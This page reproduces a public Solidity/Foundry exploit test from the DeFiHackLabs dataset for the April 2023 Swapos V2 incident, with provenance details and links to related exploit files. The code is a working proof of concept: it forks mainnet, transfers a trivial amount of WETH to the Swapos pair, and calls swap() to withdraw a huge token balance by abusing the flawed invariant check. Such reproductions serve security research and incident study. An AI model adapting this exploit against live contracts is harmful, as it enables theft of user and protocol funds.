Public reproduction file
src/test/2023-04/Swapos_exp.sol
Public reproduction file for dataset entry Swapos V2.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/CertiKAlert/status/16475307899474698259// https://twitter.com/BeosinAlert/status/164755219224372838510// @TX11// https://etherscan.io/address/0x2df07c054138bf29348f35a12a22550230bd140513// @Contract15interface SWAPOS {16 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;17 function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);18 function balanceOf(19 address20 ) external view returns (uint256);21 function transfer(address to, uint256 value) external returns (bool);22}24contract ContractTest is Test {25 SWAPOS swpToken = SWAPOS(0x09176F68003c06F190ECdF40890E3324a9589557);26 IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));27 SWAPOS swapPos = SWAPOS(0x8ce2F9286F50FbE2464BFd881FAb8eFFc8Dc584f);29 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);31 function setUp() public {32 cheats.createSelectFork("mainnet", 17_057_419);33 cheats.label(address(WETH), "weth");34 cheats.label(address(swpToken), "swpToken");35 }37 function testExploit() external {38 WETH.deposit{value: 3 ether}();39 WETH.transfer(address(swapPos), 10);40 swapPos.swap(142_658_161_144_708_222_114_663, 0, address(this), "");41 (uint256 _reserve0, uint256 _reserve1, uint32 _blockTimestampLast) = swapPos.getReserves();42 emit log_named_decimal_uint("swapos balance", _reserve0, 18);43 emit log_named_decimal_uint("ETH balance", _reserve1, 18);44 }45}Analysis
Dataset entry
Public Foundry test for “Swapos V2” (2023-04-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-04/0vix_exp.solSame month in the dataset · 472 lines
- src/test/2023-04/Allbridge_exp.solSame month in the dataset · 128 lines
- src/test/2023-04/Axioma_exp.solSame month in the dataset · 65 lines
- src/test/2023-04/HundredFinance_2_exp.solSame month in the dataset · 327 lines
- src/test/2023-04/MetaPoint_exp.solSame month in the dataset · 73 lines
- src/test/2023-04/OLIFE_exp.solSame month in the dataset · 101 lines
- src/test/2023-04/Paribus_exp.solSame month in the dataset · 131 lines
- src/test/2023-04/Sentiment_exp.solSame month in the dataset · 239 lines
- src/test/2023-04/silo_finance_exp.solSame month in the dataset · 171 lines
- src/test/2023-04/Sushi_Router_exp.solSame month in the dataset · 94 lines
- src/test/2023-04/YearnFinance_exp.solSame month in the dataset · 526 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- Swapos V2
- Path
- src/test/2023-04/Swapos_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- cb338d27bdf9e0199c20818777ed26ca0ed7d9e5
- Language
- Solidity
- Size
- 46 lines
- Date
- 2023-04-16
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-04/Swapos_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob cb338d27bdf9e0199c20818777ed26ca0ed7d9e5, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.